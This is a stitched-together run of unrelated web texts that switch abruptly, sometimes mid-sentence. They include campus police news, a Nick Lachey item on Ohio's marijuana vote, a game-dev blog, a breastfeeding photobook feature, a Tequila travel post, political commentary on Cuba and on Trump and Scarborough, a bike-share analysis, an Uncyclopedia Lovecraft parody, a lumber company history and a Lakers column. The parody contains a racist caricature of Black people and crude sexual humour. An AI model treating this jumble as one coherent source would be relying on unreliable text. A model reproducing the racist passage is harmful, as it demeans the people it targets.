“Marty [Bledsoe] is a great mentor and a wealth of knowledge,” Captain James Cook said.
Cook will take the helm of police chief on an interim status. The university is actively interviewing Cook and others for the full-time position, according to Cook. No timetable for an announcement by the university is known.
Both Bledsoe and Cook spearheaded a campaign to improve pedestrian safety and deter distracted driving through education to diminish the number of deaths to students and community members alike. This initiative was launched this year and presentations have been given to FSUS classes and university administration similarly.
Bledsoe, a resident of Big Rapids, will invest his time flying small aircrafts and enjoying a hand crafted cabin located in the Upper Peninsula. The soon to be retired cop will launch a professional investigation company to keep himself engaged.
According to Bledsoe, very few crimes go unsolved, a claim of which Bledsoe and DPS are extremely proud.
Students who would like to report a crime or have information on previous occurrences can call the tip line at ext. 5900 or use bulldogtexttip@nullferris.edu.CINCINNATI, Ohio– Former boy-band member and Cincinnati native, Nick Lachey, is speaking out on the failure of Issue 3. It would have made Ohio the fifth state to legalize recreational and medical marijuana.
Lachey, who was featured in an ad in favor of Issue 3, tweeted: “While I may not agree, the people of Ohio have spoken and that’s the way it’s supposed to work. Change takes time.”
While I may not agree, the people of Ohio have spoken and that's the way it's supposed to work. Change takes time. #democracy #respect — Nick Lachey (@NickLachey) November 4, 2015
The measure known as Issue 3 on Tuesday’s ballot would have allowed adults 21 and older to use, purchase or grow certain amounts of marijuana. The constitutional amendment would have established a regulatory and taxation scheme while creating a network of 10 growing facilities.
The former lead singer of 98 Degrees could have reportedly made a lot of money if Issue 3 passed. The Washington Post reported Lachey and a few other people would co-own a 29-acre weed farm outside of Akron.
More stories on the November election here
More stories on marijuana in Ohio hereHere’s what I’ve been working on this week:
Art
I’ve decided to return to old graphics style because this is the style I can draw in and because it looks better and more complete. See for yourself:
I’ve spent some time drawing attack animation. It was not as hard as I thought:
What was a lot harder is road tile. It went through several iterations:
And here’s how the final thing looks.
Mini-quests
Here’s a gameplay gif to show what it is
You need to kill three enemies to open the door. It was pretty easy to implement using Lua scripts! Enemies are spawned when the character approaches the screen with the wall. When he enters this screen, another trigger starts a short dialogue with archer. The door is opened because isOpened Lua function returns true when all enemies are killed.
Gold
Very easy. Just added one variable to InventoryComponent and made new entity which adds one gold when player collides with it. I love entity/component/system model!
Dialogue system
It’s worth talking about dialogue system as I’ve spent lots of time implementing and improving it.
I started working on it with localization in mind. All text is stored in separate files so when it comes to translating, people won’t have to deal with script files (because it’s easy to introduce new bugs!). There’s also a problem with world lenghts. Consider, for example, German language. It’s well-known for its long words which make sentences a lot longer than equal sentences in English. With this in mind, I’ve implemented very simple function which separates words by spaces and then tries to fit as many words as possible in one line. There’s some problems with this, because some languages (Japanese, for example) don’t use spaces for word separation. I still have to find solution to this problem.
Another problem is encodings. I haven’t ever worked with them and after some failed attempts to print some Japanese and accented text, I’ve decided to work on this problem later.
Another thing worth mentioning is “phrases”. When I played Ocarina of Time, I’ve noticed that some things happen when some character says something special. Its animation changes or camera is set to another position, etc.. It was easy to implement. I’ve had every character “talk” separated into “phrases”. Each phrase may have beginFunc of endFunc functions which are triggered when phrase is shown on screen or when the phrase is finished. Here’s a small example of a phrase:
{ beginFunc = function(this) setAnimation(this, "Talking") end, text = "Good job, take this sword!", endFunc = function(this) addToInventory(player, "ITEM_SWORD") end }
Lua is making everything simple and flexible again!
I’ve also spent lots of time fixing bugs and improving engine so it’ll be easier for me to use. But there isn’t anything interesting to say about that.
I’ll work for a week or two on new exciting mechanics which may become game’s main selling point. I can’t say what it is but it has something to do with player being undead.
I hope to bring some exciting updates next week! See ya!
AdvertisementsFrom the photobook, Milky Way © Vincent Ferrané
Becoming a father inspired Vincent Ferrané to create a series celebrating the sometimes-derided act of breastfeeding
In a powerful and intimate photobook, Vincent Ferrané has photographed one of the most natural things in the world – breastfeeding. After the birth of his first child, the French photographer was struck by the strength and resilience of his wife during the nurturing process, and started a six-month project to document how she and her child connected through it. Milky Way, the resulting series, demystifies an act that is so often hidden from view.
“I was struck beyond words by the beauty of these moments,” explains Ferrané. “When I say beauty, I don’t mean that it is only pure joy – these are ambivalent times of strength and emotion on one hand, but also difficult and sometimes harsh and tiring on the other.”
Ferrané regularly took pictures of his wife before she gave birth, and says that in this sense, he didn’t originally see this as a photoseries about breastfeeding – rather, he was a father creating a personal and candid series capturing these early moments in his child’s life. In the book, this creates a diaristic effect, conveying Ferrané’s emotions with each portrait.
“Taking pictures of people and moments you truly love is the most important thing,” he says. “During breastfeeding, as a father you are emotionally involved yet already in a distant position, so taking pictures gives you a role as a kind of ‘active spectator’. But picturing your own family is a real subject, especially toward the aspect of revealed intimacy.”
As the series progressed his focus sharpened, and Ferrané took inspiration from art – paintings from the Italian Renaissance and Dutch traditions that depict breastfeeding, for example, such as the Madonna Litta by Leonardo da Vinci and the works of Gerard David and Robert Campin. The title of the series is a reference to Greek mythology, in which Hera, the goddess of women and childbirth, created the Milky Way with milk spurted from her breast. The photographs are endowed with a sense of the sublime, and yet they balance these poetic symbols with everyday reality, as breastfeeding becomes an established part of family life.
“The vernacular side of this experience was very important to me,” says Ferrané. “It shows how the baby will gradually become such a big part of your existence. So I wanted to place so-called ‘noble’ images of breastfeeding with everyday experiences that lactating women know well on the same level, like engorged breasts relieved by taking a bath, or the fact that the baby is spitting up.”
This matter-of-factness may also combat a less positive aspect of breastfeeding – the low rates of breastfeeding in Western countries, and the spats in which women are shamed for publicly breast-feeding. Ferrané didn’t have this in mind when he started the project, he says, but adds that it’s certainly something he considered when he published his book.
“Doing this series doesn’t make me a specialist of ‘breastfeeding’ as a social issue, but during my involvement with these images, I sadly realised how much women still have to fight to normalise breastfeeding,” he says. “Breastfeeding in public is complicated and when my partner returned to work, drawing her milk created delicate moments. There was no private space or provision for that [in her workplace]. You have to be really militant to breastfeed beyond 10 weeks in France I think.”
As Ferrané points out though, this lack of social awareness is nothing new – the photographer quotes the French literary canon, referencing a Molière play from the 17th century in which a character is told to cover up their bosom, which “offends” the crowd. For Ferrané, there needs to be a change in how breastfeeding is presented – both in France and around the world.
“It begins at birth, the various health professionals you meet as parents – the paediatricians, nurses, midwives – have very varied speeches on breastfeeding. After birth, in France, you are expected to leave the maternity unit quickly, within three to four days, and the baby must gain some weight before that. Therefore, artificial milk can rapidly be introduced, which can discourage mothers from breastfeeding,” he explains.
Milky Way is intended to be part of this debate, and to present an empowered woman at her strongest, and Ferrané says it’s provoked a strong reaction in its audience – both positive and negative. “Maybe mothers are not ‘allowed’ to speak freely about these experiences,” he says. “Due to self-censorship, it sometimes seems that mothers have to look perfect and say it was only a merry experience.
“But things are changing and the warm welcome that these pictures get shows that a good way to normalise breastfeeding is to look at every aspect of it – its incredible joys, its occasional pains, its constant demands.”
There are elements of nudity in the photobook, which Ferrané says are deliberately done to reclaim the breast as a natural way of nourishing and feeding, rather than solely as a sexual fetish, which has led to a prudish attitude to breastfeeding. “My wife and I agreed that elements of nudity in the series, like a lactating breast for example, were not ambiguous but were revealing one role of a mother in a meaningful, modern and strong way.
“It is obvious that to say that the body of woman is often eroticised in modern iconography. More often than not, it embodies the indirect desire for something else, a consumer good in general. In this series, the idea is not so much to try to desexualise the body but rather to render its function, to show the beauty and poetry inherent in this function – for example, to restore the breast, the nourishing and powerful function that is refused too often. In this female body, I see a woman and a mother at the same time.”
Ferrané has described the experience of having a baby as a “small revolution” and says creating the photoseries has made both husband and wife even closer. “I have simply seen breastfeeding as an act of life and love that is not always an easy task, and that therefore is deserving of encouragement in its all dimensions – psychological, physical and social,” he says.
Milky Way is published by Libraryman, RRP €45 http://vincentferranephotography.com/As I’ve mentioned before, there are a lot of nice places to visit around Guadalajara city. One of those places is a town called Tequila. It is the place where almost all of the world’s Tequila production is made and where the drink got its name.
There are two ways to get to Tequila. The first and most recommended one is by train. It’s a touristic train that includes mariachi music and lots of tequila sampling along the way. I think they also include a tour into the major tequila producer’s factories. The other one, the one I took, was by driving there. Next time I’ll take the train and let you know how that went.
Tequila is a very small town but there’s plenty to visit. Downtown is very traditional with its cathedral and its rocky streets. There is a Tequila museum where you can learn about the town’s history as well as the drink’s origins and production process.
But the best way to learn about tequila production is to take a tour into any of the many tequila factories around the town.
I went with my friend Luis Perez and we took a tour into La Cofradia. They have a very traditional way to make tequila and they bottle it in handcrafted bottles.
First the agave plant is cut and the heart of the plant is collected. They gather them and put them in large ovens.
Once it’s ‘cooked’ it’s smashed and all the juice and sugars are extracted, similar to the sugar cane process. At this point our guide let us try a piece of a cooked agave heart and it tasted very sweet, delicious.
The extracted juices are let to ferment in large containers and are then distilled several times until we have the commercial tequila ready for bottling.
I say several times because the first two times, the tequila has about 55% alcohol and it is forbidden for commercial use. But you get to try a large shot of it right there at the factory floor! Yes, you are expected to drink tequila like crazy during the whole tour.
Later we found out that guitar player Carlos Santana has a brand of tequila made right there at that factory called Casa Noble. I’ve never seen it before and got to try the three types of it.
At the end of the night we finished it enjoying some fresh tequila based drinks.
We walked around town and of course, we couldn’t miss stopping for some local tacos in the street.
And finished the night at a local bar enjoying some live music.
It was a very fun trip, with lots of new information to learn, a lot of drinking and good times.
As always you can checkout more photos of this trip at my Flickr photo set.
About the author Gabriel Saldaña is a web developer, photographer and free software advocate. Connect with him on Google+ and Twitter
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When it comes to Cuba, some think 50 years of failed policy is not enough.
Take Jeb Bush, who is now exploring a run for the presidency. Or Senator Marco Rubio, who probably also harbors presidential ambitions. Like a surprising number of their fellow Republicans, they simply cannot abide the idea that the United States should try a different relationship with the island 90 miles off the Florida coast.
After President Obama announced Wednesday that he was restoring full diplomatic relations with Cuba and opening an embassy in Havana — the first in more than half a century — the naysayers erupted in outrage.
“It’s part of a long record of coddling dictators and tyrants that this administration has established,” Mr. Rubio of Florida, the son of Cuban immigrants, said on Fox News. He insisted that the White House’s plans won’t result in more economic freedom or democracy in Cuba.
Mr. Bush, a former governor of Florida who announced his exploratory presidential bid on Tuesday, argued two weeks ago in a foreign policy speech that “instead of lifting the embargo, we should consider strengthening it.”
On Wednesday, Mr. Bush was quoted by USA Today as saying: “I don’t think we should be negotiating with a repressive regime to make changes in our relationship [until Cuba changes).” There are many repressive regimes in the world including Egypt. Does he think Washington should stop talking to Cairo?
How he and other critics can say that with a straight face is baffling. The embargo never produced the kind of political and economic change that its backers advocated, and toughening it won’t help, either.
They appear trapped by an aging population of Cuban exiles, many in Florida, who could never tolerate rapprochement with the Castro brothers who run Cuba. (The younger generation is much more open to restoring diplomatic ties.)
Along with Mr. Rubio, other Republicans from Florida and elsewhere vowed to do whatever they can to thwart Mr. Obama’s decision, including refusing to formally lift the embargo when the new Republican-led Congress takes over in January.
Of course the critics tried to have it both ways – condemning Mr. Obama’s secret negotiations (Canada and Pope Francis were facilitators) and policy changes, but welcoming the fact that the initiative also secured freedom for Alan Gross, an American held by Cuba for five years.
They didn’t even try to come up with a creative alternative approach. Just more sanctions, more isolation in an effort to contain and topple a Cuban government not to Washington’s liking.
We’ve seen how well that works. Mr. Obama’s history-making overture is the only sensible way to go. Mr. Bush and Mr. Rubio, one suspects, are just angry that Mr. Obama had the courage – and the political freedom of a lame duck – to act first.He should know, since he was among those in the corporate media who obsessed over Hillary Clinton's emails and treated her like a criminal.
Giving voice to the rodeo of injustices that apparently stampede around his brain, Donald Trump jumped on Twitter Friday morning to rage once again about his election opponent from 10 months ago.
Specifically, Trump whined loudly about Hillary Clinton’s supposedly adoring press coverage from last year:
The Russia hoax continues, now it's ads on Facebook. What about the totally biased and dishonest Media coverage in favor of Crooked Hillary? — Donald J. Trump (@realDonaldTrump) September 22, 2017
The greatest influence over our election was the Fake News Media "screaming" for Crooked Hillary Clinton. Next, she was a bad candidate! — Donald J. Trump (@realDonaldTrump) September 22, 2017
The punch line, of course, is that the Beltway press and corporate media spent most of 2016 trying to bury Clinton, obsessing about her emails and continuing the time-honored, decades-long tradition of treating the Clintons with contempt and trying to criminalize their public service. Her campaign coverage was relentlessly caustic in an oddly personal way.
In her new book, “What Happened,” Clinton writers about the thumb-on-the-scale press coverage she received on the campaign trail. The claim is backed up by lots of empirical evidence, and it was a reality that many in the media were trying to erase even before the election.
Now joining the parade is MSNBC’s Joe Scarborough. Following Trump’s angry Friday tweets, Scarborough led his table full of guests in a discussion about how unfair the press was towards Clinton last year, how they relentlessly beat her up, and obsessively focused on her allegedly faults.
“I think the fake news media was pretty damn hostile towards Hillary Clinton throughout most of the campaign,” Scarborough said. “So that’s just fake news, Donald.”
Media Matters’ Alex Morash noted the oddity in Scarborough now lamenting the news media’s rough treatment of Clinton:
Great work #MorningJoe team 4 discovering media was hostile to @HillaryClinton during the campaign. No one knew from watching your show. pic.twitter.com/0ML0l9m1DR — Alex Morash (@AlexMorash) September 22, 2017
Notably, Scarborough never hinted, let alone acknowledged, that he was indeed one of the main culprits within the D.C. press of that “pretty damn hostile” attitude towards Clinton.
But he was. And the problem goes back years.
“Has nobody told her that the microphone works?” quipped Scarborough last year, following a Clinton victory rally during the Democratic primary. He then led a lengthy discussion about Clinton’s voice, as he and his guests dissected her “screaming,” and complained that she being too “feisty” and acting “not natural.”
Soon after the November election, Scarborough was reduced to hysterics and sarcasm when Clinton’s campaign supported recount efforts in tightly contested states.
And of course, he was one of the many men who felt the need to tell Clinton to smile at random times.
We welcome Scarborough’s newfound concession about the “pretty damn hostile” media coverage Clinton had to endure.
But will he admit he was part the problem?By Lauren Renaud
At a SUDS Hack Night in October, I was introduced to Tableau for the first time and Pittsburgh Bike Share released their data from the first six months of operation. So naturally, I combined these two opportunities. First I looked at what time of day riders took out a bike. I was surprised to find roughly a bell curve (left figure below) — I thought you’d see more of a peak at morning and evening commute times. So I looked at the days count, and found fewer riders Monday to Friday than on the weekends (right figure below). In this plot, the horizontal color changes indicate counts per hour of day.
This seemed to indicate more casual weekend riders than I had anticipated. So I then broke out the days of the week by subscribers — monthly pass holders — against “customers”, or people picking up a bike for just one ride (right figure below). Now I saw a distinct difference — single rider customers had many more rides on the weekends, while subscribers took bikes out throughout the week, mostly during the work week. I did the same thing for start times and saw the morning and evening peaks that I expected in the subscriber trends, while single ride customers were likely to ride any time between noon and 7pm (figure left below).
Then lastly I broke out weekdays versus weekend (figure below), where you can see slight peaks for even non-subscribers at commute hours, and you can see a slightly more pronounced peak at lunchtime for subscribers.
I’m excited to work in Tableau more and delve to a little deeper. Fun start!
Lauren Renaud is a Public Policy student at Carnegie Mellon’s Heinz College seeking to combine her background in social justice with with her growing policy and data analysis skill set. She’s also a cyclist and transit rider who likes maps and exploring Pittsburgh. You can find some of Lauren’s other projects at www.laurenrenaud.com.How the man known as Howard Phillips Lovecraft[1] came to have an Uncyclopedia entry written about him is a fact of whose blasphemous origins we shall never be privileged to know. That it is written at all is miracle enough, for we live on an infinitesimal and placid island of literacy, consoled by structured and educated ignorance, swallowed in the midst of the boundless black seas of inconceivable truths to which we owe our own existence, broiling with a slobbering idiocy that inhabits both timeless places and unknowable concepts far beyond those precious few possibilities that can be reached by our wildest and most broken of nightmares.
It was not meant that we should use a simple spellcheck to cover our own ineptitudes, and had it been known what foul ravings would creep onto our website under the cover of wretched darkness, we would have tried inexorably to keep constant vigilance in the form of a log, thus that or natural cravings for hidden knowledge could be be tickled by its unearthly reply. Harsh and unrelenting imprisonment in the ravaged husks of our own minds would have invariably been our fates, for all of time, both having passed and yet to come.
The great unwashed, each mashing their keyboards in the darkness of their parents' basements, have hitherto harmed us little in our blissful ignorance; but perhaps their random effusions have now conspired to allow an article of whose utter, mind-destroying idiocy, deep seated as it is in unfathomable and yet undeniable truths, will send us screaming to our nearest Webster's Dictionary, seeking structured and reasoned solace from the coming storm of inescapable realizations now sneaking their vile repercussions into the deepest regions of our very souls; a cacophony of unrequited sorrows writhing in the filth of untold woes, beating our thoughts into willing and unquestioning submission to a boundless madness.
Who wrote such blasphemous, unrelenting and wicked ramblings shall remain a mystery; for the following is a peculiar message that had suddenly and inexplicably materialized as an article on Uncyclopedia. It had come to be here after a seemingly impossible eldritch power failure lashed out at the website's server with a seeming sense of purpose, perhaps even urgency, during a stormy night when wolves, ravens and cicadas alike were unusually persevering in a combined cacaphonic frenzy previously unheard by any mortal ear, and a massive aurora borealis was observed across even the far reaches of the Northern Hemisphere. Not one among the living knows where the message came from, other than that the message itself hints at an origin so horrible and blasphemous that any further details of its foul beginnings are perhaps best left unknown.
///Here begins the message///
Contents show]
The message
If you can read this, that means I am probably dead, swallowed whole by some nightmarish entity, disturbed by my latest inquiries, but I cannot let these things rest until I find the answers I seek. I do not advise that anyone follow these sojourns, lest they find a similarly horrid fate to my own at the end of their journey.
It was during the last months of my impoverished life as a student of metaphysics at Miskatonic University that I lived in the locality known as Quastro Plango in Providence, where the black tarred river, Megamoltron, meets back unto itself again, smashing upon itself barbarically. At a time during which I befriended the dread horror writer Howard Phillips Lovecraft, a grevious mistake that was revealed to be. Ever since the unspeakable precipices which thus triggered my haphazardous effugi from that wormridden poorhouse district, I have been unable to locate the locality of Quastro Plango, though I have since examined every map of the city whether new and untouched or withered and yellowed, with a great labor and arduous resolve. Its apparent nonexistence is a fact which I find both singular and perplexing.
Much of the details of Lovecraft's birth, curiously twisted education, rise, fall, death, foul renaissance, and crucification on a queerly shaped cross of stygian dimensions[2] have been lost to the ravages of ineluctable time. All we have left, save my own dubious memories of the ramblings of the horror writer, is this curious and rotted manuscript, found in the oldest districts and alleys of Providence, beneath a black Byzantine church with two-hundred-fifty-foot spires, in an abandoned McDonalds restaurant, where at night a phantom white-bearded daemon swineherd drives about with his staff a flock of fungous and flabby beasts whose appearance filled me with unutterable loathing, to try to piece together the story of how this monstrous and utterly degenerate cartooni-ni-ni-ni...
"No, no, I tell you, I am not that daemon swineherd in the twilight restaurant! It's voodoo, I tell you... that spotted snake... Curse you, I'll teach you to faint at what my family do!
You were afraid of the cosmic truth, you damned coward, but now I've got you! Look at this text, coward - read what I impart to you. Do you suppose there are really any such things as time and magnitude? Do you fancy there are such things as form or matter?
I tell you, I have struck depths that your little brain can't picture. I have seen beyond the bounds of infinity and drawn down demons from the stars... I have harnessed the shadows that stride from world to world to sow death and madness... Space belongs to me? Things are hunting me now - the things that devour and dissolve, that fats and instructs the very worms that gnaws and vexes the nethermost caverns, the dull scavengers of earth that festers and swell, monstrous to plague it - but I know how to elude them. It is you they will get!!! Stirring, dear sir? 'Sblood, thou stinkard, I'll learn ye how to gust... wolde ye swynke me thilke wys?... Iä! Iä! Hastur! Hastur! Hastur! Cat-huloo fatanng yang kipperbang... dripping death astride a bacchanale of bats from nigh-black ruins of buried temples of Belial... Magna Mater! Magna Mater!... Atys... Dia ad aghaidh's ad aodaun... agus bas dunarch ort! Dhonas's dholas ort, agus leat-sa!... Ungl unl... rrlh... chchch... Iä! Iä!- Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn..."
This is what they say I said when the police found me in that McDonald's restaurant later... found me while I was trying to strangle a Ronald McDonald statue with a large vuvuzela thrusted up my rectum while bellowing forth purportedly horrible blasphemies in an abrasive and yet horribly sepulchral voice that was not my own, and in languages I cannot claim to fathom to any degree of coherency. Now they have locked me into a padded cell, demolished that haunted restaurant, and taken the paper slips away from me to be locked into a restricted governmental archive, and yet I feel that I must tell what was written on it even though I know that the ghastly contexts and otherwordly depths it hints at would be enough to annihilate the very soul of anyone for whom fate has been merciful enough to spare this knowledge that no sound mind should possess. For if it is true, then we as a species must reevaluate our place in the universe and accept that we may be lowest of the many sapient races that has come and gone and those who are yet to come. The psychiatrists must be made to believe me, but the authorities have, despite careful searches and investigations, been unable to locate the district of Quastro Plango where I lived next door to the horror writer and documented his life as foretold by himself, and which place I know must exist, although I do not know in what dimension.
Though I miss not those narrow, odorous alleys and disproportionally steeply and crooked streets of Quastro Plango in its slummed bleakness, and shudder at the thought of the ancient and forsaken 'cybercafé'. This utterly indescribable site of unholy reunion boasted a clattering sound that tore at my soul each day as I walked past, not daring to peer inside. The horridly wrinkled Norwegian fishermen I spoke with one evening whispered in such frightened words how its very existence alone would be the only proof to the authorities of my shrivelled sanity. But my God, if they had only seen the face of that blue-green, pungently swamp-smelling thing I caught with one of its many hands in my cookie jar last week!!! It had been said that the pen is mightier than the sword, and I now see with blood-red clarity how true that sentiment is. His books, his damnable books - they must all be burned in the fires of the next Walpurgis Night... They say the madman is dead, but I know differently. Those foul knaves, those ignorant fools!!! Did you really believe that that was your own hand in the cookie jar?!
Nay; the hack horror writer, whose hypnotically thick and soporific voice I can still hear whispering even as I am writing this one last memorandum, merely lies dreaming, and we... we are the dreams... By will I shall vainly send my message, with fleeting hope that one day there may be some medium capable of receiving this biography of H. P. Lovecraft I have written, out across the illimitable aether of background radiation in whose cosmic timbre would be concentrated all the primal, ultimate space-time seethings which lie behind the massed spheres of matter. It is no small task to speak about the unspeakable, describe the indescribable, to illuminate that which the sun must never alight, but by Jove, leastways I shall try.
I know now that my time draws nigh, for I sense once more the filthy acid-breath of that blue-green monstrosity that looked at me that frightful night with glossy black eyes filled with what I now understand to be limitless, prehistoric hatred and whose blasphemous, malformed visage I only now realize bears a putrefied, sardonic semblance to that of Howard Phillips Lovecraft, nigh unrecognizable to anyone save one such as I who have spoken to and lived next door to the madman in his hellbound workroom, the repellent spectre which haunts me further now even in the recurrent dream I have every night, save those when the doctors are merciful enough to give me dream-supressing medicine. Tonight I shall break free of this mental institution even though I know I will die trying...
Early life
Howard Phillips Lovecraft was born during the conjunction of Saturn, Jupiter and Earth to the sounds of muffled, maddening beating of vile drums and the thin monotonous whine of accursed flutes in an horribly ancient, black basalt castle in the Providence countryside as the only son of Winfield Scott Lovecraft and Sarah Susan Phillips Lovecraft. During the night of his birth, nine dozens of naked, mindless negros from Bongo-Bongo Land danced ceaselessly and tirelessly around a grotesque phallus symbol of prodigious proportions, which was painted in unknown and indescribable spectrum, made to resemble the hideous visage of the unspeakable Shub-Niggurath; the Black Goat of the Woods with a Thousand Young who ever spawns new nightmares made flesh from her towering ebony fortress on the Lower East Side. The birthscene with its unearthly blasphemous rituals that no sane person should ever cast eyes on was so horrible that both of his parents went mad and had to spend the rest of their days in Arkham Asylum.
There they were separated in two different padded cells where each unceasingly described horrible visions of odd shadows and unearthly geometric patterns, resembling rotating candy canes with lilac undertones, to the psychatrists. Because of this, the young Lovecraft came to be fostered by Whipple Van Buren Phillips, a grandparent so shockingly aged that he was certainly born in an egg in the prehistoric Iapetus Ocean, and by two subhuman aunts consumed with ancient, forbidden witchcraft lore originating from antediluvian Atlantis. During his childhood, young Lovecrafts non-mammalian grandfather read the Necronomicon by the fabled Abdul Alhazred to him. The accursed tome of blasphemous and hideous creatures thenceforth became his favourite book.
When Lovecraft was merely four years old, he was abducted by the winged, starheaded, half-vegetable race of palaeogean Antarctica and taken outside the three dimensional space-time continuum to the black throne of the boundless daemon-sultan Azathoth whose name no lips dare speak aloud, where he wrote his name with his own blood in Azathoth's Black Book. Thus, his mind and soul became the property of Azathoth, the blind idiot god amidst the bubbling, monstrous nuclear chaos outside angled space and was cursed to spend the rest of his life writing the daemon-sultan's memoirs ceaselessly since that torpid, amorphous, mindless blight of nethermost confusion which blasphemes and bubbles at the center of all infinity was busy doing absolutely nothing for all eternity.
Lovecraft did not shriek, but all the fiendish ghouls that ride the nightwind shrieked for him as in that same second there crashed down upon his mind a single fleeting avalanche of soul-annihilating memory, the aeon-withered, abysmal blueprints for Azathoth and his cosmic pantheon's unfathomable life span, which become deeply engraved into the young Lovecraft's tormented subconsciousness, being forever a slave to the Outer Gods. Then Lovecraft fell into a deep sleep and reemerged, wholly remade, in 1895 with the forbidden knowledge of countless, unhallowed centuries deeply embedded into the darkest corners of his mind and which would shape his life forevermore.
Since that frightful day, from his childhood up until his eventual death in adulthood, the fearsome cosmic entities Nyarlathotep and Hastur would come through a narrow fissure in the fabric of time and space every odd Friday to keep bringing him instructions on what to write, which is, of course, all real. The one leverage they had on him, should he fail to comply, was this: if he refused, they would forcibly acquire Hollywood filming rights for one or more of the works which he had already written. Knowing full well that any movie based on his writings would drive the world population mad from such indescribable and inappropriate cosmic truths, Lovecraft had no choice but to remain the inofficial vocal chord of the dark gods from beyond, not wanting to plunge the world into utter anarchy and mass hysteria.
Because of his horrible abduction as a toddler, Lovecraft was always cursed by experiencing night terrors, an especially vivid form of nightmares. His horrific dreams always began with him lying motionless in his bed while hearing how his bathtub is suddenly beginning to fill itself in the bathroom. Two minutes later, once the tap turns itself off, he always hears oddly distorted splashing noises whose pitch and timbre seems to be unlike any other eartly sound - if sound it may even be called - followed by the ominous sensation of hearing diminutive webbed feet marching in loathsome unison towards him while dripping water on the floor. As he brings himself to look, he always see the shape of twelve hidious rubber ducks with bloodred, vampirish fangs, an upper beak tapering into one cream-white tentacle, and white glowing eyes as cold as the bleakest midwinter nights of Crocker Land sardonically parading towards him in inhuman exultation in kinematic patterns more resembling quadrupedal reptiles than that of bipedal avians as the things of dread begin climbing up on him. While six of them starts to peck a large hole in his cranium to sever the synapses that runs between his ganglions, dendrites and motor neurons one by one, the others whisper the truths- the truths that man should not, can not, know- about the Great Old Ones in his ears as he begins to awake screaming.
Education
When Lovecraft was six he began his education at Arkham Unspeakable Catholic School |
Banbury Bros. Lumber Company bought its local rival, Gibson Lumber, in 1904 and two years later joined with the Regina Lumber and Supply Co., creating a business with twelve lumber yards. A thirst for expansion resulted in the Banbury brothers striking a deal with some Winnipeg lumber yards. A new name was needed that was in some way connected to wood, so when Edwin Banbury suggested "Beaver", the company identity was created in 1906 and would become an institution in parts of Canada for another 90 years.
Beaver Lumber was a community-based business and focused on building relationships with its customers. The company eventually operated 130 stores across the country.
Molson, the Montreal-based brewing giant, bought Beaver Lumber for $40 million in 1972. In 1987, Groupe Val Royal entered into a strategic agreement with the Molson Companies and acquired the Castor Bricoleur stores, located in Québec.[2] Molson sold the retail chain to Home Hardware for $68 million in 1999.
The first store opened by Edwin and his brother, Robert, was sold to the Wolseley Museum Association in 1980 and continues to be open to the public (now as Home Building Centre).
Beaver Lumber's last Head Office at 7303 Warden Avenue in Markham is now home to Lyreco, Brookfield Properties and TTI.
References [ edit ]Noah Graham, Rocky Widner/NBAE/Getty Images
In firing up teammates, the Lakers' two leaders could not have more different styles.
Kobe Bryant and Steve Nash together are really something, as a backcourt. The point guard playing alongside the shooting guard. That promises to be a huge national basketball story all season.
But vastly more fascinating to me, and something I predict I'll write about again and again, is how differently these new teammates work as leaders.
It's an interesting time for the NBA in this regard. Team USA and the NBA's two dominant teams of last season -- the Miami Heat and the Oklahoma City Thunder -- are unabashed about blatantly loving each other. But for the occasional Mario Chalmers incident, the tone of how they talk about each other is not about berating each other. It's about engulfing each other in support, loyalty and fist bumps.
That fact is dissatisfying to anyone who sees Michael Jordan's scowl as the ultimate sign of leadership. But it's undeniably working in basketball, as predicted by a thousand modern books on leadership. In a business where you win by being up, why be down?
And, even though he's a card-carrying member of Team USA's love-bomb squad, there is no more overt icon of the old-school Jordan "berate 'em into professionalism" approach than Bryant.
Jordan's best-known teammate, Scottie Pippen, even refers to Jordan's scowling at teammates as "doing the Kobe" in Jack McCallum's book, "Dream Team."
And there is no more blatant a practitioner of the new-school "love 'em up" theory than Nash, who -- in one of the greatest sports videos in Internet history -- was documented by Jess the Suns intern dispensing 239 high-fives in a single game.
On some level it strikes me that Nash and Bryant are destined to undermine each other. They are antithetical. If Pau Gasol misses a big shot, Nash would run over to say something like hey, you're a great shooter, keep shooting. Bryant, on the other hand, has long been prone to "you believe these crappy players I have to play with" looks of disgust. You're not a good shooter, that look, from the league's player most likely to ignore open teammates, seems to say: Pass it to me next time.
One approach or the other may command an inspired performance from Gasol, I suppose. But together... isn't that just a confusing mess?
Not so, says former Suns front office guy Amin Elhassan, who knows Nash well and carries a healthy fear of Bryant. He told me on TrueHoop TV recently that he sees the pairing as "the perfect marriage of good cop, bad cop. Kobe's the guy who gets on guys -- which some people would criticize and say Steve didn't do enough of in his career. And on the other hand you have Steve to kind of build guys up and build their confidence up, which obviously has been a criticism of Kobe.... I think it's a perfect, perfect marriage."
I started to wonder if there were examples of teams that really had paired both kinds of leaders side-by-side. How did that turn out?
A clue comes from a footnote of Bill Simmons' "The Book of Basketball." In the tiny type at the bottom of page 478, there's a Phil Jackson quote, borrowed from a must-read 1999 S.L. Price Scottie Pippen profile in Sports Illustrated:
"On the Bulls," says Jackson, "[Scottie Pippen] was probably the player most liked by the others. He mingled. He could bring out the best in the players and communicate the best. Leadership, real leadership, is one of his strengths. Everybody would say Michael is a great leader. He leads by example, by rebuke, by harsh words. Scottie's leadership was equally dominant, but it's a leadership of patting the back, support."
Wow. Take a note, Laker fans. Elhassan is looking like a genius: "Good cop, bad cop" is how most people's pick as the best team ever was led.
And to hear Pippen tell it in Jack McCallum's book "Dream Team" the combination was deadly:
"To me, our team was always about chemistry," says Pippen, pushing around some scrambled eggs, "and we never could develop chemistry because of Michael. He didn't believe in his teammates. It was hard for us. We got accused of standing and looking because he would always... do the Kobe." (He means showing visible anger to his teammates, as the Lakers' Kobe Bryant often does.) "When Phil [Jackson] came, it made all the difference to Michael. Phil convinced him to believe in his teammates, and I think I was the first one Michael really trusted. We didn't have to worry about Michael coming down and pulling up one-on-five. We could just play."
In the Price article linked above, former Bull Joe Kleine says: "Michael was the father figure saying, 'You're grounded.' Pip was like Mom coming in to tell you everything's going to be all right."
Now that's starting to make some sense. "Mom" and "Dad" may have opposing styles, one with a soft touch and the other with a firm hand. But underneath it all they're both sending the same message: Play your brains out.
Any teammate who receives that message has a chance to help the team do something special. That has good implications for the Lakers.'That's Racist!' How A Serious Accusation Became A Commonplace Quip
Enlarge this image toggle caption iStockphoto.com iStockphoto.com
My editor proposed this story about "that's racist" after hearing her young son's friends using it as a joke. Just the night before, it had been a punchline on one of my favorite sitcoms, Parks And Recreation. (Someone calls sorting laundry into whites and darks racist.)
